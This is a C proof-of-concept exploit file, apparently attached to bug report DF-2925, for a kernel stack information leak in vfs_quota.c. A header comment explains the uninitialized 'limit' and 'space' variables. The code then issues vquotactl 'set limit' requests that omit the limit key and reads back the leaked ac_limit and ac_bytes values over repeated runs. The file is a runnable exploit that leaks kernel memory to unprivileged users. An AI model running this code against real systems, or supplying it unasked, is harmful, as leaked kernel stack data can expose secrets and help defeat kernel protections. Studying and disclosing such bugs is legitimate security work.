DF-2925 / vqleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-2925 proof-of-concept: kernel stack info leak via uninitialized * 'limit'/'space' in sys/kern/vfs_quota.c. * * cmd_set_limit() (vfs_quota.c:273-284): * uint64_t limit; <-- never initialized * prop_dictionary_get_uint64(args, "limit", &limit); <-- return * discarded * mp->mnt_acct.ac_limit = limit; <-- stack garbage stored * * prop_dictionary_get_uint64() leaves *valp untouched when the key is * missing (prop_dictionary_util.c), so 8 bytes of uninitialized kernel * stack are copied into ac_limit and disclosed to any user through * "get usage all" (cmd_get_usage_all() echoes ac_limit at :184). * * Same pattern for 'space' in cmd_set_usage_all() (:249 -> :263, * ac_bytes) and for limit in cmd_set_limit_uid/gid (:294/:315). * * Usage: vqleak <path> [n_runs] */ #include <sys/vfs_quota.h> #include <libprop/proplib.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <inttypes.h> static int set_limit_nokey(const char *path) { prop_dictionary_t dict, args; struct plistref pref; int error; dict = prop_dictionary_create(); prop_dictionary_set_cstring(dict, "command", "set limit"); /* arguments is a dict with NO "limit" key -> kernel keeps stack garbage */ args = prop_dictionary_create(); prop_dictionary_set_cstring(args, "junk", "no limit key here"); prop_dictionary_set(dict, "arguments", args); error = prop_dictionary_send_syscall(dict, &pref); if (error) return error; error = vquotactl(path, &pref); return error; } static int get_usage_all(const char *path, uint64_t *limitp, uint64_t *spacep) { prop_dictionary_t dict, res, item; prop_array_t arr; struct plistref pref; int error, rv = -1; unsigned i; dict = prop_dictionary_create(); prop_dictionary_set_cstring(dict, "command", "get usage all"); prop_dictionary_set(dict, "arguments", prop_array_create()); error = prop_dictionary_send_syscall(dict, &pref); if (error) return -1; error = vquotactl(path, &pref); if (error) return -1; if (prop_dictionary_recv_syscall(&pref, &res) != 0) return -1; arr = prop_dictionary_get(res, "returned data"); if (arr == NULL) goto out; item = prop_array_get(arr, 0); /* first item = global {space,limit} */ if (item == NULL) goto out; prop_dictionary_get_uint64(item, "limit", limitp); prop_dictionary_get_uint64(item, "space used", spacep); rv = 0; out: return rv; } int main(int argc, char **argv) { const char *path; int runs = 5, i; uint64_t limit = 0, space = 0; if (argc < 2) { fprintf(stderr, "usage: %s <path> [n_runs]\n", argv[0]); return 2; } path = argv[1]; if (argc > 2) runs = atoi(argv[2]); for (i = 0; i < runs; i++) { int e1, e2; limit = space = 0; e1 = set_limit_nokey(path); e2 = get_usage_all(path, &limit, &space); printf("run %2d: set=%d get=%d leaked ac_limit=0x%016" PRIx64 " ac_bytes=0x%016" PRIx64 "\n", i, e1, e2, limit, space); } return 0; } |